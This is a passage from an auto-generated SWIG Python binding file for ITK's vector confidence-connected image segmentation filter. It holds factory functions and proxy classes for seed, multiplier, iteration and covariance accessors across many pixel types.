return itkVectorConfidenceConnectedImageFilterICVF23ISS3.New()
def itkVectorConfidenceConnectedImageFilterICVF22ISS2_New():
return itkVectorConfidenceConnectedImageFilterICVF22ISS2.New()
def itkVectorConfidenceConnectedImageFilterIVF43IUS3_New():
return itkVectorConfidenceConnectedImageFilterIVF43IUS3.New()
def itkVectorConfidenceConnectedImageFilterIVF42IUS2_New():
return itkVectorConfidenceConnectedImageFilterIVF42IUS2.New()
def itkVectorConfidenceConnectedImageFilterIVF33IUS3_New():
return itkVectorConfidenceConnectedImageFilterIVF33IUS3.New()
def itkVectorConfidenceConnectedImageFilterIVF32IUS2_New():
return itkVectorConfidenceConnectedImageFilterIVF32IUS2.New()
def itkVectorConfidenceConnectedImageFilterIVF23IUS3_New():
return itkVectorConfidenceConnectedImageFilterIVF23IUS3.New()
def itkVectorConfidenceConnectedImageFilterIVF22IUS2_New():
return itkVectorConfidenceConnectedImageFilterIVF22IUS2.New()
def itkVectorConfidenceConnectedImageFilterIVF43IUC3_New():
return itkVectorConfidenceConnectedImageFilterIVF43IUC3.New()
def itkVectorConfidenceConnectedImageFilterIVF42IUC2_New():
return itkVectorConfidenceConnectedImageFilterIVF42IUC2.New()
def itkVectorConfidenceConnectedImageFilterIVF33IUC3_New():
return itkVectorConfidenceConnectedImageFilterIVF33IUC3.New()
def itkVectorConfidenceConnectedImageFilterIVF32IUC2_New():
return itkVectorConfidenceConnectedImageFilterIVF32IUC2.New()
def itkVectorConfidenceConnectedImageFilterIVF23IUC3_New():
return itkVectorConfidenceConnectedImageFilterIVF23IUC3.New()
def itkVectorConfidenceConnectedImageFilterIVF22IUC2_New():
return itkVectorConfidenceConnectedImageFilterIVF22IUC2.New()
def itkVectorConfidenceConnectedImageFilterIVF43ISS3_New():
return itkVectorConfidenceConnectedImageFilterIVF43ISS3.New()
def itkVectorConfidenceConnectedImageFilterIVF42ISS2_New():
return itkVectorConfidenceConnectedImageFilterIVF42ISS2.New()
def itkVectorConfidenceConnectedImageFilterIVF33ISS3_New():
return itkVectorConfidenceConnectedImageFilterIVF33ISS3.New()
def itkVectorConfidenceConnectedImageFilterIVF32ISS2_New():
return itkVectorConfidenceConnectedImageFilterIVF32ISS2.New()
def itkVectorConfidenceConnectedImageFilterIVF23ISS3_New():
return itkVectorConfidenceConnectedImageFilterIVF23ISS3.New()
def itkVectorConfidenceConnectedImageFilterIVF22ISS2_New():
return itkVectorConfidenceConnectedImageFilterIVF22ISS2.New()
def itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_New():
return itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.New()
def itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2_New():
return itkVectorConfidenceConnectedImageFilterIRGBAUC2IUS2.New()
def itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_New():
return itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.New()
def itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2_New():
return itkVectorConfidenceConnectedImageFilterIRGBAUC2IUC2.New()
def itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3_New():
return itkVectorConfidenceConnectedImageFilterIRGBAUC3ISS3.New()
def itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2_New():
return itkVectorConfidenceConnectedImageFilterIRGBAUC2ISS2.New()
def itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_New():
return itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.New()
def itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2_New():
return itkVectorConfidenceConnectedImageFilterIRGBUC2IUS2.New()
def itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_New():
return itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.New()
def itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_New():
return itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2.New()
def itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_New():
return itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.New()
def itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_New():
return itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.New()
class itkVectorConfidenceConnectedImageFilterICVF22ISS2(itkImageToImageFilterBPython.itkImageToImageFilterICVF22ISS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF22ISS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF22ISS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF22ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF22ISS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self) -> itkVectorConfidenceConnectedImageFilterICVF22ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF22ISS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF22ISS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF22ISS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF22ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF22ISS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF22ISS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF22ISS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF22ISS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF22ISS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF22ISS2)
itkVectorConfidenceConnectedImageFilterICVF22ISS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_swigregister
itkVectorConfidenceConnectedImageFilterICVF22ISS2_swigregister(itkVectorConfidenceConnectedImageFilterICVF22ISS2)
def itkVectorConfidenceConnectedImageFilterICVF22ISS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF22ISS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF22ISS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF22ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF22ISS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF22ISS2 *":
"""itkVectorConfidenceConnectedImageFilterICVF22ISS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF22ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22ISS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF22IUC2(itkImageToImageFilterBPython.itkImageToImageFilterICVF22IUC2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF22IUC2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF22IUC2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF22IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF22IUC2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self) -> itkVectorConfidenceConnectedImageFilterICVF22IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF22IUC2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF22IUC2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF22IUC2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF22IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF22IUC2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF22IUC2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF22IUC2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF22IUC2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF22IUC2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF22IUC2)
itkVectorConfidenceConnectedImageFilterICVF22IUC2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_swigregister
itkVectorConfidenceConnectedImageFilterICVF22IUC2_swigregister(itkVectorConfidenceConnectedImageFilterICVF22IUC2)
def itkVectorConfidenceConnectedImageFilterICVF22IUC2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF22IUC2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF22IUC2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF22IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF22IUC2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF22IUC2 *":
"""itkVectorConfidenceConnectedImageFilterICVF22IUC2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF22IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUC2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF22IUS2(itkImageToImageFilterBPython.itkImageToImageFilterICVF22IUS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF22IUS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
